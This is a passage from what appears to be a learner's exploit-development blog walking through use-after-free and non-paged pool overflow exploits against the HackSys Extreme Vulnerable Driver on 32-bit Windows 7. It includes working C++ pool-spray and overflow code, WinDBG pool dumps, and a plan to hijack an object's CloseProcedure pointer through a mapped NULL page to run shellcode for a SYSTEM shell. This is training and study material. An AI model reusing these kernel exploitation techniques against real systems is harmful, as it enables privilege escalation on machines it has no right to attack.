}
void allocate_fake_object(HANDLE hFile) {
cout << "[>] Creating fake UAF object...\n";
BYTE input_buffer[0x58] = { 0 };
memset((void*)input_buffer, '\x41', 0x58);
DWORD bytes_ret = 0x0;
int result = DeviceIoControl(hFile,
FAKE_OBJECT_IOCTL,
input_buffer,
sizeof(input_buffer),
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] Could not create fake UAF object\n";
cout << "[!] Last error: " << dec << GetLastError() << "\n";
exit(1);
}
cout << "[>] Fake UAF object created.\n";
}
void spray() {
// thanks Tekwizz as usual
_NtAllocateReserveObject NtAllocateReserveObject =
(_NtAllocateReserveObject)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtAllocateReserveObject");
if (!NtAllocateReserveObject) {
cout << "[!] Failed to get the address of NtAllocateReserve.\n";
cout << "[!] Last error " << GetLastError() << "\n";
exit(1);
}
cout << "[>] Spraying pool to defragment...\n";
for (int i = 0; i < 10000; i++) {
HANDLE hObject = 0x0;
PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&hObject,
NULL,
1); // specifies the correct object
if (result != 0) {
cout << "[!] Error allocating IoCo Object during defragmentation\n";
exit(1);
}
defrag_handles.push_back(hObject);
}
cout << "[>] Defragmentation spray complete.\n";
cout << "[>] Spraying sequential allocations...\n";
for (int i = 0; i < 30000; i++) {
HANDLE hObject = 0x0;
PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&hObject,
NULL,
1); // specifies the correct object
if (result != 0) {
cout << "[!] Error allocating IoCo Object during defragmentation\n";
exit(1);
}
sequential_handles.push_back(hObject);
}
cout << "[>] Sequential spray complete.\n";
cout << "[>] Poking 0x60 byte-sized holes in our sequential allocation...\n";
for (int i = 0; i < sequential_handles.size(); i++) {
if (i % 2 == 0) {
BOOL freed = CloseHandle(sequential_handles[i]);
}
}
cout << "[>] Holes poked lol.\n";
cout << "[>] Some handles: " << hex << sequential_handles[29997] << "\n";
cout << "[>] Some handles: " << hex << sequential_handles[29998] << "\n";
cout << "[>] Some handles: " << hex << sequential_handles[29999] << "\n";
Sleep(1000);
DebugBreak();
}
int main() {
HANDLE hFile = grab_handle();
//create_UAF_object(hFile);
//free_UAF_object(hFile);
//allocate_fake_object(hFile);
spray();
return 0;
}
We can see after running this and looking at one of the handles we dumped to the terminal (thanks FuzzySec!), we were able to get our pool looking the way we want. 0x60
byte chunks free surrounded by our IoCo objects.
kd> !handle 0x2724c
PROCESS 86974250 SessionId: 1 Cid: 1238 Peb: 7ffdf000 ParentCid: 1554
DirBase: bf5d4fc0 ObjectTable: abb08b80 HandleCount: 25007.
Image: HEVDUAF.exe
Handle table at 89f1f000 with 25007 entries in use
2724c: Object: 8543b6d0 GrantedAccess: 000f0003 Entry: 88415498
Object: 8543b6d0 Type: (84ff1a88) IoCompletionReserve
ObjectHeader: 8543b6b8 (new version)
HandleCount: 1 PointerCount: 1
kd> !pool 8543b6d0
Pool page 8543b6d0 region is Nonpaged pool
8543b000 size: 60 previous size: 0 (Allocated) IoCo (Protected)
8543b060 size: 38 previous size: 60 (Free) `.C.
8543b098 size: 20 previous size: 38 (Allocated) ReTa
8543b0b8 size: 28 previous size: 20 (Allocated) FSro
8543b0e0 size: 500 previous size: 28 (Free) Io
8543b5e0 size: 60 previous size: 500 (Allocated) IoCo (Protected)
8543b640 size: 60 previous size: 60 (Free) IoCo
*8543b6a0 size: 60 previous size: 60 (Allocated) *IoCo (Protected)
Owning component : Unknown (update pooltag.txt)
8543b700 size: 60 previous size: 60 (Free) IoCo
8543b760 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543b7c0 size: 60 previous size: 60 (Free) IoCo
8543b820 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543b880 size: 60 previous size: 60 (Free) IoCo
8543b8e0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543b940 size: 60 previous size: 60 (Free) IoCo
8543b9a0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543ba00 size: 60 previous size: 60 (Free) IoCo
8543ba60 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543bac0 size: 60 previous size: 60 (Free) IoCo
8543bb20 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543bb80 size: 60 previous size: 60 (Free) IoCo
8543bbe0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543bc40 size: 60 previous size: 60 (Free) IoCo
8543bca0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543bd00 size: 60 previous size: 60 (Free) IoCo
8543bd60 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543bdc0 size: 60 previous size: 60 (Free) IoCo
8543be20 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543be80 size: 60 previous size: 60 (Free) IoCo
8543bee0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
8543bf40 size: 60 previous size: 60 (Free) IoCo
8543bfa0 size: 60 previous size: 60 (Allocated) IoCo (Protected)
Now that we’ve confirmed our heap spray works, the next step is to implement our game-plan. We want to:
All we really need to do now is allocate the shellcode, get a pointer to it, and place that pointer into our input buffer when we create our fake objects and spray those into the holes we poked so around 15,000 of them.
When we run our final code, we get our system shell!
Complete exploit code.
That was a pretty exaggerated exploit scenario I would guess, but it was perfect for me since I had never done a UAF exploit before. Next we’ll be doing the stack overflow again but this time on Windows 10 where we’ll have to bypass SMEP. Until next time.
Once again, big thanks to all the content producers out there for getting me through these exploits.
Continuing on with my goal to develop exploits for the Hacksys Extreme Vulnerable Driver. I will be using HEVD 2.0. There are a ton of good blog posts out there walking through various HEVD exploits. I recommend you read them all! I referenced them heavily as I tried to complete these exploits. Almost nothing I do or say in this blog will be new or my own thoughts/ideas/techniques. There were instances where I diverged from any strategies I saw employed in the blogposts out of necessity or me trying to do my own thing to learn more.
This series will be light on tangential information such as:
The reason for this is simple, the other blog posts do a much better job detailing this information than I could ever hope to. It feels silly writing this blog series in the first place knowing that there are far superior posts out there; I will not make it even more silly by shoddily explaining these things at a high-level in poorer fashion than those aforementioned posts. Those authors have way more experience than I do and far superior knowledge, I will let them do the explaining. :)
This post/series will instead focus on my experience trying to craft the actual exploits.
This exploit required a lot of insight into the non-paged pool internals of Windows 7. These walkthroughs/blogs were extremely well written and made everything very logical and clear. I really appreciate the authors’ help! Again, I’m just recreating other people’s exploits in this series trying to learn, not inventing new ways to exploit pool overflows for 32 bit Windows 7. The exploit also required allocating the NULL page, which isn’t possible on x64 so this will be a 32 bit exploit only.
The bug for this driver routine is really similar to some of the stack based buffer overflow vulnerabilities we’ve already done like the stack overflow and the integer overflow. We get a user buffer and send it to the routine which will allocate a kernel buffer and copy our user buffer into the kernel buffer. The only difference here is the type of memory used. Instead of the stack, this memory is allocated in the non-paged pool which are pool chunks that are guaranteed to be in physical memory (RAM) at all times and cannot be paged out. This stands in contrast to paged pool which is allowed to be “paged out” when there is no more RAM capacity to a secondary storage medium.
The APIs that are relevant here in this routine are ExAllocatePoolWithTag
and ExFreePoolWithTag
. This API prototype looks like this:
PVOID ExAllocatePoolWithTag(
__drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
SIZE_T NumberOfBytes,
ULONG Tag
);
In our routine all of these parameters are hardcoded for us. PoolType
is set to NonPagedPool
, NumberOfBytes
is set to 0x1F8
, and Tag
is set to 0x6B636148
(‘Hack’). This by itself is fine and there is no vulnerability obviously; however, the driver routine uses memcpy
to transfer data from the user buffer to this newly allocated non-paged pool kernel buffer and uses the size of the user buffer as the size argument. (This precisely the bug in the Jungo driver that @steventseeley discovered via fuzzing.) If the size of our user buffer is larger than the kernel buffer, we will overwrite some data in the adjacent non-paged pool. Here is a screenshot of the function in IDA Free 7.0.
Nothing too complicated reversing wise, we can even see that right after our pool buffer is allocated, it is de-allocated with ExFreePoolWithTag
.
If we call the function with the following skeleton code, we will see in WinDBG that everything works as normal and we can start trying to understand how the pool chunks are structured.
#include <iostream>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x22200F
HANDLE grab_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
exit(1);
}
cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
<< hFile << "\n";
return hFile;
}
void send_payload(HANDLE hFile) {
ULONG payload_len = 0x1F8;
LPVOID input_buff = VirtualAlloc(NULL,
payload_len + 0x1,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memset(input_buff, '\x42', payload_len);
cout << "[>] Sending buffer size of: " << dec << payload_len << "\n";
DWORD bytes_ret = 0;
int result = DeviceIoControl(hFile,
IOCTL,
input_buff,
payload_len,
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] DeviceIoControl failed!\n";
}
}
int main() {
HANDLE hFile = grab_handle();
send_payload(hFile);
return 0;
}
I set a breakpoint at offset 0x4D64 with this command in WinDBG: bp !HEVD+4D64
which is right after the memcpy
operation and we see that our pool buffer has been filled with our \x42
characters. At this point a pointer to the allocated kernel buffer is still in eax
so we can go to that location with the !pool
command which will start at the beginning of that page of memory and display certain aspects of the memory allocated there.
kd> !pool 85246430
Pool page 85246430 region is Nonpaged pool
85246000 size: c8 previous size: 0 (Allocated) Ntfx
852460c8 size: 10 previous size: c8 (Free) .PZH
852460d8 size: 20 previous size: 10 (Allocated) ReTa
852460f8 size: 20 previous size: 20 (Allocated) ReTa
85246118 size: 48 previous size: 20 (Allocated) Vad
85246160 size: 68 previous size: 48 (Allocated) NpFn Process: 8507a030
852461c8 size: 20 previous size: 68 (Allocated) ReTa
852461e8 size: 20 previous size: 20 (Allocated) ReTa
85246208 size: 168 previous size: 20 (Free) CcSc
85246370 size: b8 previous size: 168 (Allocated) NbtD
*85246428 size: 200 previous size: b8 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
85246628 size: 20 previous size: 200 (Allocated) ReTa
85246648 size: 68 previous size: 20 (Allocated) FMsl
852466b0 size: c8 previous size: 68 (Allocated) Ntfx
85246778 size: 180 previous size: c8 (Free) EtwG
852468f8 size: 98 previous size: 180 (Allocated) MmCa
85246990 size: 8 previous size: 98 (Free) Nb29
85246998 size: 48 previous size: 8 (Allocated) Vad
852469e0 size: 1b8 previous size: 48 (Allocated) LSbf
85246b98 size: b8 previous size: 1b8 (Allocated) File (Protected)
85246c50 size: 60 previous size: b8 (Free) Clfs
85246cb0 size: 1b0 previous size: 60 (Allocated) NSIk
85246e60 size: 20 previous size: 1b0 (Allocated) ReTa
85246e80 size: b8 previous size: 20 (Allocated) File (Protected)
85246f38 size: c8 previous size: b8 (Allocated) Ntfx
We that even though our pointer in eax
to our kernel buffer was 0x85246430
, the allocation actually begins at 0x85246428
which is 0x8
before. This is because there is a 4 byte ULONG
value and our pool tag placed before our actually buffer begins. Using some of the commands from the aforementioned blogposts goes a long way in WinDBG to being able to clearly think about these data structures.
kd> dt nt!_POOL_HEADER 85246428
+0x000 PreviousSize : 0y000010111 (0x17)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y001000000 (0x40)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4400017
+0x004 PoolTag : 0x6b636148
+0x004 AllocatorBackTraceIndex : 0x6148
+0x006 PoolTagHash : 0x6b63
This shows us the makeup of the pool header. We can see it spans 8 total bytes which we knew. The numbers that begin 0y
are binary. But, you can see that PreviousSize
, PoolIndex
, BlockSize
, and PoolType
all get their values smushed together and form this Ulong1
member which begins at offset 0x000
. Then, from that offset, we get our pool tag. So that’s all 8 bytes accounted for. We can use the memory pane to scroll to the bottom of our buffer and spy on the next memory chunk’s header as well.
We can see that the header values for the next chunk are: 40 00 04 04 52 65 54 61
.
The only other thing to pay attention to, was that the !pool
command told us our chunk was 0x200
bytes long which makes sense when you add the size of the header 0x8
to our allocated buffer size of 0x1F8
.
Before we proceed, we have to understand how we’re going to utilize this ability, via our oversized user buffer, to arbitrarily overwrite data in the adjacent pool allocation as an attack vector. What we have right now is the ability to overwrite pool memory. In order for this to be worth while for us, we have to find a way to get the pool into a state where what we’re overwriting is predictable. If what we’re overwriting is unpredictable, we can never form a reliable exploit. If we damage some of the fields here and aren’t surgical in our overwrites, we’ll easily get a BSOD.
Generically, in its organic state, the non-paged pool is fragmented, meaning there are holes in it from chunks being freed arbitrarily by other processes on the system. What we want to do is cover these holes by spraying a ton of objects into the non-paged pool so that the pool allocation mechanism places our chunks into those available slots. Once this is complete, we’ll want to spray even more objects so that by far, the most common objects in the pool are the ones we have just sprayed.
By way of analogy, if you had a bag of a chess set’s pieces, you would have low odds of pulling a King from the bag; however, if you then added 15,000 Kings to the bag, your chances are much better!
So we have two goals outlined so far:
What we’ll do next, is take our pretty pool allocations that form a large solid block, and poke holes in it the size of our kernel buffer we can allocate with the driver routine. Our kernel buffer is 0x200
bytes remember. This way, when our kernel buffer is allocated in the pool, the allocator will place it in the newly freed 0x200
byte hole we have just created. Now what we have, is our alloaction completely surrounded by the objects we had sprayed. This is perfect because now when our buffer overwrites data in the adjacent pool allocation, we’ll know exactly what we’re overwriting because it will be a chunk that we allocated ourselves, not an arbitrary system process.
We will use this ability to overwrite data to predictably overwrite a piece of data in one of our allocated objects that will, once the allocation is freed, end up to the kernel executing a function pointer which we will have filled with shellcode. So now our generic gameplan is:
0x200
byte-sized holes in the allocations,Next, we’ll get to know the object we’ll be using to spray the pool.
The blogpost authors inform us that Event Objects are perfect for this job for a few reasons, but one of the main reasons is that it is 0x40
bytes in size. A quick Python interpreter check shows us that we can neatly free 8 Event Objects and have our 0x200
byte sized holes we wanted.
>>> 0x200 % 0x40
0
>>> 0x200 / 0x40
8.0
We don’t care much about the content of these events, so every parameter will be basically NULL when we use the CreateEvent
API:
HANDLE CreateEventA(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCSTR lpName
);
What’s most important for us now, is finding out what we need to overwrite in this object to get code execution when the corrupted Event Object is freed. We’ll go ahead and spray a similar amount of objects that FuzzySec and r0otki7 did,
Our code now looks like this:
#include <iostream>
#include <vector>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x22200F
vector<HANDLE> defragment_handles;
vector<HANDLE> sequential_handles;
HANDLE grab_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
exit(1);
}
cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
<< hFile << "\n";
return hFile;
}
void spray_pool() {
cout << "[>] Spraying pool to defragment...\n";
for (int i = 0; i < 10000; i++) {
HANDLE result = CreateEvent(NULL,
0,
0,
L"");
if (!result) {
cout << "[!] Error allocating Event Object during defragmentation\n";
exit(1);
}
defragment_handles.push_back(result);
}
cout << "[>] Defragmentation spray complete.\n";
cout << "[>] Spraying sequential allocations...\n";
for (int i = 0; i < 10000; i++) {
HANDLE result = CreateEvent(NULL,
0,
0,
L"");
if (!result) {
cout << "[!] Error allocating Event Object during sequential.\n";
exit(1);
}
sequential_handles.push_back(result);
}
cout << "[>] Sequential spray complete.\n";
}
void send_payload(HANDLE hFile) {
ULONG payload_len = 0x1F8;
LPVOID input_buff = VirtualAlloc(NULL,
payload_len + 0x1,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memset(input_buff, '\x42', payload_len);
cout << "[>] Sending buffer size of: " << dec << payload_len << "\n";
DWORD bytes_ret = 0;
int result = DeviceIoControl(hFile,
IOCTL,
input_buff,
payload_len,
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] DeviceIoControl failed!\n";
}
}
int main() {
HANDLE hFile = grab_handle();
spray_pool();
send_payload(hFile);
return 0;
}
Take note that we’re storing the handles to each Event Object in a vector so that we can access those later.
Let’s spray our objects and then allocate our kernel buffer and see what the page looks like that our kernel buffer ends up being allocated on. We still have the same breakpoint from before, right after the memcpy
operation. At this point the kernel buffer pointer is still in eax
don’t forget, so I just want to subtract 0x1000
from it because thats a small page size and then advance by just plugging that right in to the !pool
command we get the whole page’s allocation information:
kd> !pool 8628b008-0x1000
Pool page 8628a008 region is Nonpaged pool
*8628a000 size: 40 previous size: 0 (Allocated) *Even (Protected)
Pooltag Even : Event objects
8628a040 size: 80 previous size: 40 (Free) b.2.
8628a0c0 size: 40 previous size: 80 (Allocated) Even (Protected)
8628a100 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a140 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a180 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a1c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a200 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a240 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a280 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a2c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a300 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a340 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a380 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a3c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a400 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a440 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a480 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a4c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a500 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a540 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a580 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a5c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a600 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a640 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a680 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a6c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a700 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a740 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a780 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a7c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a800 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a840 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a880 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a8c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a900 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a940 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a980 size: 40 previous size: 40 (Allocated) Even (Protected)
8628a9c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628aa00 size: 40 previous size: 40 (Allocated) Even (Protected)
8628aa40 size: 40 previous size: 40 (Allocated) Even (Protected)
8628aa80 size: 40 previous size: 40 (Allocated) Even (Protected)
8628aac0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ab00 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ab40 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ab80 size: 40 previous size: 40 (Allocated) Even (Protected)
8628abc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ac00 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ac40 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ac80 size: 40 previous size: 40 (Allocated) Even (Protected)
8628acc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ad00 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ad40 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ad80 size: 40 previous size: 40 (Allocated) Even (Protected)
8628adc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ae00 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ae40 size: 40 previous size: 40 (Allocated) Even (Protected)
8628ae80 size: 40 previous size: 40 (Allocated) Even (Protected)
8628aec0 size: 40 previous size: 40 (Allocated) Even (Protected)
8628af00 size: 40 previous size: 40 (Allocated) Even (Protected)
8628af40 size: 40 previous size: 40 (Allocated) Even (Protected)
8628af80 size: 40 previous size: 40 (Allocated) Even (Protected)
8628afc0 size: 40 previous size: 40 (Allocated) Even (Protected)
That looks pretty nice. We get a nice contiguous block of Event Objects just as we expected (bit weird that there’s a 0x80
byte hole in there…).
The next thing we need to do, is examine the constituent parts of these Event Objects to find our overwrite target. I like to take a look at the memory pane of and then, following along with the cited blogposts, parse out the meaning of the byte values. Here is the memory view for one of the Event Object allocations:
8628afc0 08 00 08 04 45 76 65 ee 00 00 00 00 40 00 00 00 ....Eve.....@...
8628afd0 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 ................
8628afe0 00 00 00 00 0c 00 08 00 40 f9 37 86 00 00 00 00 [email protected].....
8628aff0 01 00 04 34 00 00 00 00 f8 af 28 86 f8 af 28 86
We can start parsing this by taking a look at the pool header:
kd> dt nt!_POOL_HEADER 8628afc0
+0x000 PreviousSize : 0y000001000 (0x8)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4080008
+0x004 PoolTag : 0xee657645
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65
This looks pretty familiar to what we’ve done, obviously the PoolTag
is different, but so is the Ulong1
value and you can examine the binary constituent parts that lead to its formulation. Next we’ll look at the OBJECT_HEADER_QUOTA_INFO
which starts at offset 0x8
from the beginning of our allocation and you can match it up with the bytes in the memory view:
kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 8628afc0+0x8
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)
So far, none of these things can be changed by our overwrite. Our overwrite has to keep all of this data intact so we’ll have to write these values into our input buffer. Next, we’ll finally start to approach our overwrite target when we parse out the OBJECT_HEADER
:
kd> dt nt!_OBJECT_HEADER 8628afc0 + 8 + 10
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x8637f940 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x8637f940 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
This is where things start to get interesting as the TypeIndex
value right now is set to 0xc
. 0xc
is actually an array index value, like array[0xc
]. This array, is called the ObTypeIndexTable
and it is filled with pointers which define OBJECT_TYPEs
. This is actually really cool in my opinion because we can test this out. Let’s first dump all the pointers stored in the ObTypeIndexTable
.
kd> dd nt!ObTypeIndexTable
82997760 00000000 bad0b0b0 84f46728 84f46660
82997770 84f46598 84fedf48 84fede08 84fedd40
82997780 84fedc78 84fedbb0 84fedae8 84fed410
82997790 85053520 8504f9c8 8504f900 8504f838
829977a0 8503f9c8 8503f900 8503f838 84ffb9c8
829977b0 84ffb900 84ffb838 84fef780 84fef6b8
829977c0 84fef5f0 8503b838 8503b770 8503b6a8
829977d0 85057590 850573a0 84ff3ca0 84ff3bd8
If the first entry, 82997760
, is array index 0
, then 0xc
index is going to be 85053520
. Let’s get WinDBG to spill the beans on this type and let’s see if its indeed an Event Object.
kd> dt nt!_OBJECT_TYPE 85053520 -b
+0x000 TypeList : _LIST_ENTRY [ 0x85053520 - 0x85053520 ]
+0x000 Flink : 0x85053520
+0x004 Blink : 0x85053520
+0x008 Name : _UNICODE_STRING "Event"
+0x000 Length : 0xa
+0x002 MaximumLength : 0xc
+0x004 Buffer : 0x8ba06838 "Event"
+0x010 DefaultObject : (null)
+0x014 Index : 0xc ''
+0x018 TotalNumberOfObjects : 0x6bbf
+0x01c TotalNumberOfHandles : 0x6c2b
+0x020 HighWaterNumberOfObjects : 0x6bbf
+0x024 HighWaterNumberOfHandles : 0x6c2b
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x000 Length : 0x50
+0x002 ObjectTypeFlags : 0 ''
+0x002 CaseInsensitive : 0y0
+0x002 UnnamedObjectsOnly : 0y0
+0x002 UseDefaultObject : 0y0
+0x002 SecurityRequired : 0y0
+0x002 MaintainHandleCount : 0y0
+0x002 MaintainTypeList : 0y0
+0x002 SupportsObjectCallbacks : 0y0
+0x002 CacheAligned : 0y0
+0x004 ObjectTypeCode : 2
+0x008 InvalidAttributes : 0x100
+0x00c GenericMapping : _GENERIC_MAPPING
+0x000 GenericRead : 0x20001
+0x004 GenericWrite : 0x20002
+0x008 GenericExecute : 0x120000
+0x00c GenericAll : 0x1f0003
+0x01c ValidAccessMask : 0x1f0003
+0x020 RetainAccess : 0
+0x024 PoolType : 0 ( NonPagedPool )
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0x40
+0x030 DumpProcedure : (null)
+0x034 OpenProcedure : (null)
+0x038 CloseProcedure : (null)
+0x03c DeleteProcedure : (null)
+0x040 ParseProcedure : (null)
+0x044 SecurityProcedure : 0x82abad90
+0x048 QueryNameProcedure : (null)
+0x04c OkayToCloseProcedure : (null)
+0x078 TypeLock : _EX_PUSH_LOCK
+0x000 Locked : 0y0
+0x000 Waiting : 0y0
+0x000 Waking : 0y0
+0x000 MultipleShared : 0y0
+0x000 Shared : 0y0000000000000000000000000000 (0)
+0x000 Value : 0
+0x000 Ptr : (null)
+0x07c Key : 0x6e657645
+0x080 CallbackList : _LIST_ENTRY [ 0x850535a0 - 0x850535a0 ]
+0x000 Flink : 0x850535a0
+0x004 Blink : 0x850535a0
Using -b
option here really saves us because it displays all levels of sub-structures within their parent structures. So, we absolutely have honed in on the pointer to Event objects as evidenced by this:
+0x008 Name : _UNICODE_STRING "Event"
What gets cool here, is that at offset 0x28
we see the TypeInfo
structure. One of it’s members, the CloseProcedure
is 0x38
deep into that TypeInfo
structure. So starting from offset 0x0
of the data referenced by the OBJECT_TYPE
pointer we found in the table, the CloseProcedure
is located at offset 0x28
+ 0x38
, or 0x60
. THIS is the function pointer that is called when use CloseHandle
API to free these Event Objects from the non-paged pool. So this is our target.
If that is complicated I’ve tried to create a helpful diagram:
So what happens when we free the chunk with CloseHandle
is the kernel goes to the address referenced by the array index value 0xc
and looks at offset 0x60
from there for a function pointer and calls the function. Looking back at that table:
kd> dd nt!ObTypeIndexTable
82997760 00000000 bad0b0b0 84f46728 84f46660
----SNIP----
The first function pointer is 0x00000000
and we already know from our NULL pointer dereference exploit that we can map the NULL page on Windows 7 x86. So thanks to the aforementioned bloggers, our path forward is clear. We’ll ONLY corrupt the value 0xc
inside the OBJECT_HEADER
so that it’s set to 0x0
instead. We’ll leave everything else the way it is with our overwrite. This way, when we free this chunk, the kernel will start looking for offset 0x60
for a function pointer from 0x00000000
. So we’ll just map the NULL page and place a pointer to our shellcode at offset 0x60
.
Now that we know our plan of attack, we need to execute it.
The adjustment we need to make is to poke holes in this contiguous block so that when we get our buffer allocated the allocator slides it right between Event Objects. We know that it takes 8 Event Objects being freed to make a 0x200
-sized hole, so following along with @FuzzySec, we’ll release 8 Event Object handles every 0x16
handles in our vector. Our code now looks like this:
#include <iostream>
#include <vector>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x22200F
vector<HANDLE> defragment_handles;
vector<HANDLE> sequential_handles;
HANDLE grab_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
exit(1);
}
cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
<< hFile << "\n";
return hFile;
}
void spray_pool() {
cout << "[>] Spraying pool to defragment...\n";
for (int i = 0; i < 10000; i++) {
HANDLE result = CreateEvent(NULL,
0,
0,
L"");
if (!result) {
cout << "[!] Error allocating Event Object during defragmentation\n";
exit(1);
}
defragment_handles.push_back(result);
}
cout << "[>] Defragmentation spray complete.\n";
cout << "[>] Spraying sequential allocations...\n";
for (int i = 0; i < 10000; i++) {
HANDLE result = CreateEvent(NULL,
0,
0,
L"");
if (!result) {
cout << "[!] Error allocating Event Object during sequential.\n";
exit(1);
}
sequential_handles.push_back(result);
}
cout << "[>] Sequential spray complete.\n";
cout << "[>] Poking 0x200 byte-sized holes in our sequential allocation...\n";
for (int i = 0; i < sequential_handles.size(); i = i + 0x16) {
for (int x = 0; x < 8; x++) {
BOOL freed = CloseHandle(sequential_handles[i + x]);
if (freed == false) {
cout << "[!] Unable to free sequential allocation!\n";
cout << "[!] Last error: " << GetLastError() << "\n";
}
}
}
cout << "[>] Holes poked lol.\n";
}
void send_payload(HANDLE hFile) {
